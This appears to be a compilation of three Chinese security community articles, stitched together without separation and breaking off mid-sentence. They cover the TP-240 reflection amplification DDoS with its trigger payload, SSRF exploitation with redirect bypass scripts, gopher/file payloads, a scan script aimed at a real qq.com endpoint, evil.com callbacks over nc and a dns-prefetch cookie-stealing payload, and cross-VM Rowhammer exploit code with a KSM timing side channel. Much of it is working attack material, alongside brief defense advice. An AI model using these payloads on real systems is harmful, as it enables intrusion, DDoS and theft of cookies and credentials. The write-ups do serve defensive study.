利用物联网设备的新网络攻击在激增，加上对物联网产业安全的关注不足，导致像Mirai的僵尸网络有能力攻击互联网的骨干区域。不论物联网产业决定做什么—未雨绸缪或完全忽视安全—2017年新的物联网攻击策略大门已经被类似于Mirai的恶意软件打开。
**参考链接**
<https://blog.malwarebytes.com/malwarebytes-news/2017/02/2016-state-of-malware-report/> | 社区文章 |
**作者：百度安全实验室
原文链接：<https://mp.weixin.qq.com/s/YCu8e6qkrq_3AxhVRd5ygQ>**
## **0x00 概述**
2022年2月Cloudflare首次披露黑客利用tp240dvr（又称TP-240驱动程序）服务发起的新型反射放大攻击，放大倍数超过40亿，之后国内外多个安全团队针对此类攻击进行过解读。
百度智云盾在关注到此类攻击后，进行了深入分析，我们确认了这次攻击是黑客利用Mitel公司生产的MiCollab和MiVoice Business
Express协作系统上运行的TP-240drv驱动程序存在漏洞（[CVE-2022-26143](https://nvd.nist.gov/vuln/detail/CVE-2022-26143)）发起的超大倍数的反射放大攻击。
## **0x01 反射原理**
攻击者采用反射方式实施DDoS攻击时，不是直接攻击受害者IP，而是伪造了大量受害者IP的请求发给相应的开放服务，通常这类开放服务不对源进行校验而是立即完成响应，这样更大更多的响应数据包发送到受害者IP，从而实现了流量的反射，这类开放服务就是反射源。
原理如下图所示：
图1 反射攻击原理示意图
图1中攻击者P伪造了请求包BA并发送到PA，但BA的源IP是PV，所以PA响应的时候发送BV给到PV。
反射攻击一方面隐藏了攻击IP，同时还有一个重要特征是放大，上述原理图中的BV往往是BA的好几倍，甚至是成千上万倍。正是有了这样的特性，黑客组织乐此不疲的使用这一攻击方式，并不断的研究新型反射攻击增强攻击效果。
## **0x02 技术分析**
百度智云盾安全专家在关注到此类攻击后，及时进行了深层次分析和演练，我们向存在漏洞的tp240dvr服务模拟发起攻击，通过变换请求payload，会得到不同的响应数据包。
1. 攻击模拟
我们选取一个存在漏洞的tp240dvr服务器，向其发送精心构造的请求，请求payload为“call.startblast $Call_ID
3“,其中Call_ID为测试多个报文回复。
开始数据包以 <tp240dvr> 展示
图2 开始数据包：<tp240dvr>
在开始数据包之后，数据包以2组的形式交替出现：
* 数据包A的payload： Starting Call, Call_ID= testcall_0
图3 交替出现的数据包A
* 数据包B的payload： …dialing 3
图4 交替出现的数据包B
在Call_ID字段不断增加到number值以后，数据包即以<tp240dvr>结束
图5 结束数据包：<tp240dvr>
本次测试中我们的Call_ID为2000，共计收到4000个交替出现的数据包和2个开始结束包。
1. 最大响应包
为了测试单个服务器最多生成的响应包个数，我们使用无限大的Call_ID测试单个节点，统计分析节点响应包速率为80kpps，从测试开始到结束共计耗费19h，累计产生数据包5472698334个，累计造成包含协议头和网络帧间隙的放大流量高达438.3G，这些响应流量仅仅由单个payload为35字节的请求包造成的。
我们在测试中发现，tp240dvr服务在响应拨号请求时，无法继续处理并发的额外请求，查询Mitel公司官网可知，该服务使用单线程处理命令，一次只能处理一个请求，因此存在漏洞的服务一次只能用于发起一次攻击。
2. 放大倍数
按照我们前期对反射倍数的研究结果，科学的统计放大倍数，应当包括数据包协议头和网络帧间隙。详细的方案可以参阅《[MEMCACHED
DRDoS攻击趋势](https://anquan.baidu.com/article/180)》一文。
协议头和网络帧间隙计算为：14（以太头）+20（IP头）+8（UDP头）+4（FCS头）+20（帧间隙）=66字节，所以计算实际响应的数据包大小为
86x5472698334=470652056724字节，请求包大小为20+66=86字节。
最终我们计算得到的放大倍数为470652056724/86=54.73亿倍。
54.73亿的放大倍数，也是迄今为止发现的最大的反射放大攻击，这已经超过了Cloudflare[发文](https://blog.cloudflare.com/cve-2022-26143/)披露的40亿倍的放大倍数。
## **0x03 反射源分析**
1) 全网数据
攻击发生以后，我们联合ZoomEye对在UDP10074上存在漏洞的服务进行了全网扫描，截止到目前还没发现大规模的数据，这可能与Mitel公司3月紧急发布的漏洞补丁有关。虽然数据量较少，但是由于攻击放大倍数前所未有，防护仍然不可掉以轻心。
对扫描的反射源进行了调查分析，其中被利用的反射源主要来源于海外。下图是IP分布情况：
图7 反射源IP分布
## **0x04 防范建议**
反射攻击与传统的flood攻击相比，能更好的隐藏攻击者，并且产生的流量更大，因而反射攻击越来越受到黑客青睐。
建议参考以下方式提升防护能力。
1) 对互联网服务应避免被滥用，充当黑客攻击的帮凶
a) 禁用UDP服务，不能禁用时，应确保响应与请求不要有倍数关系
b) 启用的UDP服务应采取授权认证，对未授权请求不予响应
2) 对企业用户应做好防范，减少DDoS对自有网络和业务的影响
a) 如果没有UDP相关业务，可以在上层交换机或者本机防火墙过滤UDP包
b) 寻求运营商提供UDP黑洞的IP网段做对外网站服务
c) 选择接入DDoS云防安全服务对抗大规模的DDoS攻击
**智云盾团队介绍**
百度智云盾是百度安全专注在互联网基础设施网络安全攻防的团队，提供T级云防、定制端防和运营商联防等DDoS/CC防御解决方案。一直服务于搜索、贴吧、地图、云等百度业务，在保障百度全场景业务之余也进行防御能力外部输出，为互联网客户提供一体化的防御服务。
* * * | 社区文章 |
## SSRF在有无回显方面的利用及其思考与总结
对于SSRF的利用、危害及绕过[MisakiKata
]师傅先知上的的[一文](https://xz.aliyun.com/t/6235)介绍的非常详细，看了这篇文章也学到了很多。由于在实际场景中还遇到很多类似SSRF的点，所以还想深入探讨一下其他利用方式以及无回显情况下的SSRF。
### 1.一般层面（有回显）SSRF及bypass利用技巧
可能存在SSRF的URL:
http://www.xxx.com/vul.php?url=http://www.xxc.com/xxx.jpg
http://share.xxx.com/index.php?url=http://test.com
测试
http://www.xxx.com/vul.php?url=http://127.0.0.1:port
根据回显内容和状态即可确定漏洞是否存在。
协议利用
gopher
http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test
dict
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:port/info
file
http://4o4notfound.org/ssrf.php?url=file:///etc/passwd
http
http://4o4notfound.org/ssrf.php?url=http://xxx.com/302.php
协议限制为http下向服务端提交
#### **bypass**
* IP限制绕过（xip.io,十进制IP,八进制IP）
* 协议限制绕过（Redirect,CRLF header injection）
* 调用系统支持的协议和方法
辅助脚本302.php----bypass http协议限制
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data"); ?>
协议利用：
1)Dict协议
`/302.php?s=dict&ip=vul.comg&port=8080&data=helo:dict`
2)Gopher协议
`/302.php?s=gopher&ip=vul.comg&port=8080&data=gopher`
3)file协议
<?php
header("Location: file:///etc/passwd");
?>
例子：只能本地localhost情况下访问
结合一道CTF实例
302.php的内容为
header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost:
vultarget.com%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)
Gecko/20100101 Firefox/50.0%0d%0aAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip,
deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-
Type: application/x-www-form-urlencoded%0d%0aContent-Length:
14%0d%0a%0d%0ausername=admin");
CRLF Header Injection HTTP头注入
weblogic uddiexplorer SSRF
http://xxx.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://(要探测的内网地址)&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
CRLF->ASCII Code
`-%0d->0x0d->\r 回车`
`-%0a->0x0a->\n 换行`
案例一
案例二
#### **其他实例**
下面列出的代码的是从现实场景开发中找到的几个较常见不安全的的实实列。通过用户提供的URL来获取文件的PHP代码 ，只要它们允许用户决定从哪里获取数据即可 。
1. PHP file_get_contents
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename = './images/'.rand().'img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url']."";
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
此实现使用`file_get_contents`PHP函数提取用户请求的数据（在本例中为图像），并将其保存到磁盘上随机生成的文件名的文件中。然后，HTML
img属性将图像显示给用户，$content可以由用户控制。
1. PHP fsockopen（）函数
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
函数实现的是使用`fsockopen`PHP函数按用户（任何文件或HTML）的请求获取数据。此函数建立与服务器上的套接字的TCP连接，并执行原始数据传输。
3.PHP curl_exec（）函数
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
这是在开发中另一个非常常见的操作，它使用`cURL`PHP
获取数据。文件/数据被下载并存储到'curled'文件夹下的磁盘中，并附加一个随机数和'.txt'文件扩展名。
以下是从某网站检索robots.txt的上述代码对应的示列
原本请求 **http：//www.example.com/robots.txt**
但是请求 **http：//127.0.0.1：3306 / test.txt** ，得到如下回显
#### **利用技巧**
端口扫描：
1）PHP
可以滥用以下cURL实现来端口扫描设备：
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>
2）自动话扫描：
例如10网段的B、C段扫描
#!/usr/bin/env python
# encoding: utf-8
import requests
import time
import random
port = '80'
# fuzz local C
for c in xrange(0,255):
for d in xrange(0,255):
ip = '10.xx.{0}.{1}'.format(c,d)
payload = 'http://{ip}:{port}/'.format(ip=ip,port=port)
url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format(
payload=payload)
# len({"ret":1}) == 9
if len(requests.get(url).content) != 9:
print ip, port, 'OPEN', requests.get(url).content
更多内容可参考文章[1](https://_thorns.gitbooks.io/sec/content/teng_xun_mou_chu_ssrf_lou_6d1e28_fei_chang_hao_de_.html)
[2](http://thehiddenwiki.pw/files/hacking/Attacks%20and%20sockets:%20smorgasbord%20of%20vulnerabilities.pdf)
[猪猪侠](http://xss.one/bug_detail.php?wybug_id=wooyun-2016-0215779)。
### 2.WEB层面图片SSRF无回显之SSRF盲打利用
#### **_从XSS到SSRF_**
上图是一次XSS的测试，在经过各种测试之后发现已被过滤的非常严了，各种绕然而并不存在任何XSS问题。然而就这这样结束了吗，其实还存在一个测试点。相信在测试图片XSS经常会遇到如下情况：
对添加的图片会又被GET请求一次，然后图片url地址又是我们可控制的。这时测试面就逃离了限制更加开阔了。为此，只需从外部站点获取一个文件即可，只要该文件含有相应的恶意payload，并且其内容类型为html
`例如：`
`http://localhost:4567/?url=http://brutelogic.com.br/poc.svg`或者`http://127.0.0.1:22`
当我们发现SSRF漏洞后，首先要做的事情就是测试所有可用的URL，若存在回显利用方式比较多 。但是若遇到无回显的SSRF。利用方式又值得探讨一番。
#### Bool型SSRF
BOOL型SSRF与一般的SSRF的区别在步骤二应用识别,步骤三攻击Payload和步骤四Payload Result.
一般的SSRF在应用识别阶段返回的信息相对较多,比如Banner信息,HTTP Title信息,更有甚的会将整个HTTP的Reponse完全返回.
而Bool型SSRF的却永远只有True or False.
对于Bool型SSRF, 我们不能说Payload打过去就一定成功执行, 就算是返回True, 也不能保证Payload一定执行成功.
所以我们要验证Payload的执行状态信息.
#### SSRF之盲打SSRF
无回显情况下通过VPS NC监听所有URL Schema存在情况
1.测试URL Schema
当我们发现SSRF漏洞后，首先要做的事情就是测试所有可用的URL Schema：
* file:///
* dict://
* sftp://
* ldap://
* tftp://
* gopher://
##### **file://**
这种URL Schema可以尝试从文件系统中获取文件：
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求，或启用了白名单防护机制，只需使用如下所示的URL Schema就可以绕过这些限制：
##### **dict://**
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表：
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
##### **sftp://**
在这里，Sftp代表SSH文件传输协议（SSH File Transfer Protocol），或安全文件传输协议（Secure File Transfer
Protocol），这是一种与SSH打包在一起的单独协议，它运行在安全连接上，并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
##### **ldap://或ldaps:// 或ldapi://**
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
##### **tftp://**
TFTP（Trivial File Transfer
Protocol,简单文件传输协议）是一种简单的基于lockstep机制的文件传输协议，它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
##### **gopher://**
[Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)是一种分布式文档传递服务。利用该服务，用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
#### **利用技巧**
dnslog无回显解决
`http://10.10.107.1:8080/ssrf.php?url=http://php.nf9eex.dnslog.cn`
_ps:dnslog绕过xss-csp_
_`DNS预解析可以绕过CSP进行解析`，结合DNSLOG我们即可窃取在CSP保护下的Cookie。_
#Payload
document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".4q9z30.dnslog.cn'>"
#执行结果
R0ExLjIuMTY0MjI2NDMxNi4xNTMyNTc0NTg3.4q9z30.dnslog.cn **.**.**.** 2019-07-27 10:45
dnslog ssrf外更多利用[参考](https://weiyigeek.club/2019/04/17/模糊测试之攻击回显.html)
综合利用
Bool型SSRF是根据返回包中的state进行判断，当state为”远程连接出错”或者为“SUCCESS”时表示该主机存在，且对应的端口为开放状态。对于Bool型SSRF
，页面仅返回了状态， 而没有更多别的信息，要想进一步利用，可根据如下的思路：
内网探测->应用识别->攻击Payload->查看结果
1）内网探测
a:验证URL Schema存在情况，并通过自动化脚本探测内网，查看内网开放的主机和端口 。
2)应用识别
根据存在的端口进行应用识别
3）构造攻击Payload
根据识别的应用和漏洞构造对应payload进行验证
4）查看结果
#### **盲打案例**
可结合以下三篇，进行参考。
[ueditor-ssrf漏洞jsp版本](https://www.wtfsec.org/5651/ueditor-ssrf漏洞jsp版本分析与复现)
[Bool型SSRF的思考与实践](https://www.uedbox.com/post/10524/)
[腾讯某处SSRF漏洞](https://blog.csdn.net/Fly_hps/article/details/84396690)
### 防御
1.禁止跳转
2.过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议，仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
4.设置URL白名单或者限制内网IP（使用gethostbyname()判断是否为内网IP）
5.限制请求的端口为http常用的端口，比如 80、443、8080、8090
6.统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。
**参考：**
`<https://nosec.org/home/detail/2167.html>`
`https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#`
`https://evilcos.me/?p=221`
`https://www.jianshu.com/p/b31b7b1ca3cb` | 社区文章 |
# 【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升
|
##### 译文声明
本文是翻译文章，文章来源：stormshield.com
原文地址：<https://thisissecurity.stormshield.com/2017/10/19/attacking-co-hosted-vm-hacker-hammer-two-memory-modules/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
row-hammer是一种能在物理层面上造成RAM位翻转的硬件漏洞。[Mark Seaborn 和Thomas Dullien
两人](https://googleprojectzero.blogspot.fr/2015/03/exploiting-dram-rowhammer-bug-to-gain.html)首次发现可以利用Row-hammer漏洞来获取内核权限。[Kaveh
Razavi](https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_razavi.pdf)等人通过利用操作系统的“内存重复删除”特性能够有效控制比特位翻转，他们将Row-hammer漏洞利用推向了一个新的台阶。如果他们知道私密文件的内容，那么他们可以利用比特翻转来加载私密文件（比如authorized_keys），并通过削弱authorized_keys文件中的RSA模块，他们能够生成相应的私钥并在共同托管的受害者VM上进行身份验证。
在这篇文章中，我们的目的是展示不同的攻击情形。在本文我们破坏了正在运行的程序状态，而不是破坏内存加载的文件。libpam是一个很容易遭受攻击的目标，因为它再类unix系统上提供身份验证机制。通过在攻击者的VM中运行row-hammer攻击实例，我们能够通过破坏pam_unix.so模块状态在邻近的受害者VM上成功进行身份验证。在下文中，我们假设两台相邻的虚拟机运行Linux（攻击者VM
+受害者VM），而且都托管在KVM虚拟机管理程序上，具体如下图所示：
**Row-hammer**
****
DRAM芯片由周期性刷新的单元行组成，当CPU对存储器的一个字节请求读/写操作时，数据首先被传送到行缓冲器。在读/写请求执行之后，行缓冲器的内容会被复制回原始行，频繁的读写操作（放电和再充电）可能导致相邻行单元上出现较高的放电率从而引发错误。如果在丢失其电荷之前不刷新它们，则会在相邻的存储器行中引起位翻转。
以下代码足以产生位翻转，该代码从两个不同的存储器行交替读取数据。这种操作是必需的，否则我们只能从行缓冲区读取数据，并且将无法重新激活一行数据，而且还需要使用cflush指令以避免从CPU的缓存中读取数据。Mark
Seaborn和Thomas Dullien注意到，如果我们“侵略”其相邻行的数据（行k-1和行k + 1），那么row-hammer效应在受害者行k上将会被放大，具体如下图所示：
**CHANNELS, RANKS, BANKS AND ADDRESS MAPPING**
****
在包含2个channel的电脑配置中，最多可以插入两个内存模块。一个存储器模块由该模块两侧的存储器芯片组成，而且一个存储器芯片组成一个存储体，一个存储体代表一个存储单元矩阵。下面以我的电脑为例来说明，我的电脑配备了8
GB RAM，具体参数如下所示：
**2个channel。**
**每个channel包含1个内存模块。**
**每个内存模块包含2个rank。**
**每个rank包含8个内存芯片。**
**每个芯片包含8个bank。**
**每个bank代表2^15行x 2^10列x8 bits。**
因此，可用的RAM大小计算如下：
**2 modules * 2 ranks * 2^3 chips * 2^3 banks * 2^15 rows * 2^10 columns * 1
byte = 8 GB**
当CPU访问一个字节内存时，内存控制器负责执行该读请求。Mark Seaborn已经确定了英特尔Sandy Bridge
CPU的[物理地址映射机制](http://lackingrhoticity.blogspot.fr/2015/05/how-physical-addresses-map-to-rows-and-banks.html)。该映射与下面给出的内存配置相匹配：
位0-5：字节的低6位用于索引行。
位6：用于选择channel。
位7-13：字节的高7位用于索引列。
位14-16：((addr>>14)&7)^((addr>>18)&7)用于选择bank。
位17：用于选择rank。
位18-33：用于选择行。
正如[这篇文章](https://depletionmode.com/2015/12/08/whats-in-an-address-ddr-memory-mapping/)所述，即使CPU请求单个字节，内存控制器也不会寻址芯片并返回8个字节，CPU会使用地址的3
LSB位来选择正确的位。在这篇文章的其余部分，我们将使用上文提供的物理映射机制。
**行选择**
****
Row-hammer需要选择属于同一个bank的行数据，如果我们无法将虚拟地址转换为物理地址，那么就无法浏览行数据。假如我们已经知道了底层的物理地址映射，那么怎么可以获取一对映射到同一个bank而不同行的地址呢？实际上，从VM的角度来看，物理地址只是QEMU虚拟地址空间中的偏移量，因此为了达到从VM进行“攻击”的目的，我们只要获取Transparent
Huge Pages (THP)就可以了。
[THP](https://www.kernel.org/doc/Documentation/vm/transhuge.txt)是一个Linux功能，后台运行的内核线程会尝试分配2
MB的巨大页面。如果我们申请分配一个2
MB大小的缓冲区，那么客户端的内核线程将返回给我们一个THP。主机中的QEMU虚拟内存也是如此，在一段时间后也将被THP替代。正是因为有了THP，我们才可以获得2
MB的连续物理内存，并且一个THP包含了很多行数据，因此我们可以浏览行数据了。
根据先前提出的物理地址映射，由于行数据以MSB位（位18-33）寻址，那么一个THP包含了8*（2*2^20/2^18）行数据。但是，给定行中的地址是属于不同的channels,
banks 以及ranks的。
**从VM进行Row-hammer攻击**
****
在攻击者VM中，我们尝试分配一个THP缓冲区，对于大小为2
MB的每个内存块，我们通过读取页面映射文件来检查它是否包含在大页面中。然后，对于THP页面中的每两行（r，r+2），我们通过改变channel位和rank位来”敲击”每对地址。但是请注意，物理地址映射中的排列方案使得选择属于同一个bank的地址对具有以下要求：
令（ r_i，b_i
）表示行i的地址中标识行和存储体的3个LSB位。对于固定channel和rank，我们从行i开始依次“敲击”行j（j=i+2）中满足以下条件
**> r_i^b_i=r_j^b_j**
的地址开始。
对于给定的bank b_i，在8个给定的bank b_j中只有三个满足上述条件，具体如下图所示：
以下是我们优化后的row-hammer代码：
static int
hammer_pages(struct ctx *ctx, uint8_t *aggressor_row_prev, uint8_t *victim_row,
uint8_t *aggressor_row_next, struct result *res)
{
uintptr_t aggressor_row_1 = (uintptr_t)(aggressor_row_prev);
uintptr_t aggressor_row_2 = (uintptr_t)(aggressor_row_next);
uintptr_t aggressor_ch1, aggressor_ch2 , aggressor_rk1, aggressor_rk2;
uintptr_t aggressors[4], aggressor;
uint8_t *victim;
uintptr_t rank, channel, bank1, bank2;
int i, p, offset, ret = -1;
/* Loop over every channel */
for (channel = 0; channel < ctx->channels; channel++) {
aggressor_ch1 = aggressor_row_1 | (channel << ctx->channel_bit);
aggressor_ch2 = aggressor_row_2 | (channel << ctx->channel_bit);
/* Loop over every rank */
for (rank = 0; rank < ctx->ranks; rank++) {
aggressor_rk1 = aggressor_ch1 | (rank << ctx->rank_bit);
aggressor_rk2 = aggressor_ch2 | (rank << ctx->rank_bit);
/* Loop over every bank */
for (bank1 = 0; bank1 < ctx->banks; bank1++) {
aggressors[0] = aggressor_rk1 | (bank1 << ctx->bank_bit);
i = 1;
/* Looking for the 3 possible matching banks */
for (bank2 = 0; bank2 < ctx->banks; bank2++) {
aggressor = aggressor_rk2 | (bank2 << ctx->bank_bit);
if ((((aggressors[0] ^ aggressor) >> (ctx->bank_bit + 1)) & 3) != 0)
aggressors[i++] = aggressor;
if (i == 4) break;
}
/* Ensure victim is all set to bdir */
for (p = 0; p < NB_PAGES(ctx); p++) {
victim = victim_row + (ctx->page_size * p);
memset(victim + RANDOM_SIZE, ctx->bdir, ctx->page_size - RANDOM_SIZE);
}
hammer_byte(aggressors);
for (p = 0; p < NB_PAGES(ctx); p++) {
victim = victim_row + (ctx->page_size * p);
for (offset = RANDOM_SIZE; offset < ctx->page_size; offset++) {
if (victim[offset] != ctx->bdir) {
if (ctx->bdir)
victim[offset] = ~victim[offset];
ctx->flipmap[offset] |= victim[offset];
ncurses_flip(ctx, offset);
if ((ret = check_offset(ctx, offset, victim[offset])) != -1) {
ncurses_fini(ctx);
printf("[+] Found target offsetn");
res->victim = victim;
for (i = 0; i < 4; i++)
res->aggressors[i] = aggressors[i];
return ret;
}
}
}
}
}
}
}
return ret;
}
关于Row-hammer最后一件有趣的事情是：如果我们针对受害者机器中的行数据进行了位翻转，那么通过重新“敲击”相邻行再现位翻转的可能性就很大。
**Memory de-duplication**
****
现在我们知道如何“敲击”，下面我将介绍如何依靠操作系统内存重复数据删除实现在内存中执行位翻转操作。内存重复数据删除在虚拟机环境中尤其有用，因为它显着减少了内存占用。在Linux上，内存重复数据删除由KSM来实现。KSM会定期扫描内存并合并匿名页面（具有
**MADV_MERGEABLE** 标记的页面）。
假设我们知道相邻VM中文件的内容，以下是通过利用Row-hammer漏洞和内存重复数据删除功能来修改文件中随机位的主要步骤：
1.从攻击者虚拟机“敲击”内存。
2.加载内存页面中容易受到位翻转攻击的目标文件。
3.加载受害者虚拟机中的目标文件。
4.等待KSM合并这两个页面。
5.再次“敲击”。
6.受害者虚拟机中的文件应该已被修改。
如Razavi等人在其论文所述，THP和KSM可能对Row-hammer造成意想不到的影响。因为THP会合并正常的4 KB页面以形成庞大的页面（2
MB），而KSM会合并具有相同内容的页面。这可能导致KSM打破巨大页面的情况。为了避免这种情况，我们用8个随机字节填充每个4 KB页面的顶部。
**处理Libpam程序**
****
给定一个程序P，我们怎么能在程序代码中找到可以改变P输出结果的所有可翻转的bit位呢？对程序P执行逆向分析看似是个不错的想法，可逆向工程太耗费时间了。在本文中，我们使用radare2开发了一个PoC（flip
-flop.py），该PoC能够自动捕获程序P的可翻转bit位。该PoC的原理是：我们翻转一些目标函数的每一位，并运行所需的功能，然后检查翻转的位是否影响目标函数的预期结果。我们在pam_unix.so模块（23e650547c395da69a953f0b896fe0a8）的两个函数上运行了PoC，如下图所示：
**pam_sm_authenticate [0x3440]** ：执行验证用户的任务。
**_unix_blankpasswd [0x6130]** ：检查用户是否没有空白密码。
我们总共发现可17个可以翻转的bit位，利用这些bit位我们可以使用空白或错误的密码执行身份验证操作。
值得注意的是，脚本无法从某些崩溃中恢复。原因是由于r2pipe没有提供任何处理错误的机制，那么当有一些致命的崩溃发生，r2pipe是无法恢复会话的。
**开始攻击**
****
我们的目标是在相邻VM中的pam_unix.so模块上运行一个Row-hammer攻击实例。我们首先回顾了绕过受害者VM身份验证机制的主要步骤：
1.分配可用的物理内存。
2.在内存页面添加一些填充数据，以防止KSM破坏THP页面。我们在每4 KB页面的顶部填充8个随机字节，其余的填充'xff'以检查方向1->
0的位翻转（或使用''来检查0->1的位翻转方向）。
3.我们在每个TPH页面中”敲击”每对被“入侵”的行，并检查我们是否在受害者行中进行了位翻转。
4.如果位触发器与表1的偏移量匹配，则将pam_unix.so模块加载到受害者页面中。
5.通过尝试登录来加载受影响虚拟机中的pam_unix.so模块。
6.等待KSM合并页面。
7.再次“敲击”已经产生相关翻转的bit位，此时受害者VM机器中，内存中的pam_unix.so已被更改。
8.操作完毕。
完整的exploit（pwnpam.c）可以在这里找到 。
请注意，漏洞利用不是100％可靠，如果我们找不到可用的位翻转，那么实验将不会成功。
**更进一步**
****
漏洞利用并不完全自动，因为在某些时候，我们需要与漏洞利用进行交互，以确保模块已经加载到受害者VM内存中并且其内容已经与攻击者虚拟机中加载的内容合并在一起，这时执行bit位翻转才会成功。
为了能够自动化的进行漏洞利用，可以通过利用KSM中的侧信道定时攻击来改善攻击，该功能使我们能够检测两个页面是否共享。以下代码是文中描述算法的实现，程序首先分配N个缓冲区（每个4096
KB），并用随机数据填充它，代码如下所示：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#define PAGE_NB 256
/* from https://github.com/felixwilhelm/mario_baslr */
uint64_t rdtsc() {
uint32_t high, low;
asm volatile(".att_syntaxnt"
"RDTSCPnt"
: "=a"(low), "=d"(high)::);
return ((uint64_t)high << 32) | low;
}
int main()
{
void *buffer, *half;
int page_size = sysconf(_SC_PAGESIZE);
size_t size = page_size * PAGE_NB;
buffer = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
madvise(buffer, size, MADV_MERGEABLE);
srand(time(NULL));
size_t i;
for (i = 0; i < PAGE_NB; i++)
*(uint32_t *)(buffer + (page_size * i)) = rand();
half = buffer + (page_size * (PAGE_NB / 2));
for (i = 0; i < (PAGE_NB / 2); i += 2)
memcpy(buffer + (page_size * i), half + (page_size * i), page_size);
sleep(10);
uint64_t start, end;
for (i = 0; i < (PAGE_NB / 2); i++) {
start = rdtsc();
*(uint8_t *)(buffer + (page_size * i)) = 'xff';
end = rdtsc();
printf("[+] page modification took %" PRIu64 " cyclesn", end - start);
}
return 0;
}
该程序修改缓冲区前半部分中每个元素的单个字节，并测量写入操作时间。
根据程序输出，我们可以根据执行写入操作所需的CPU周期数，清楚地区分复制页面和非共享页面。
请注意，我们还可以依靠侧信道来检测受害者VM上运行的libpam版本。
在我们的漏洞中，我们假设攻击者VM是在受害者VM之前启动的。此条件可以确保KSM总是通过攻击者控制的物理页面返回合并的页面。正如Kaveh
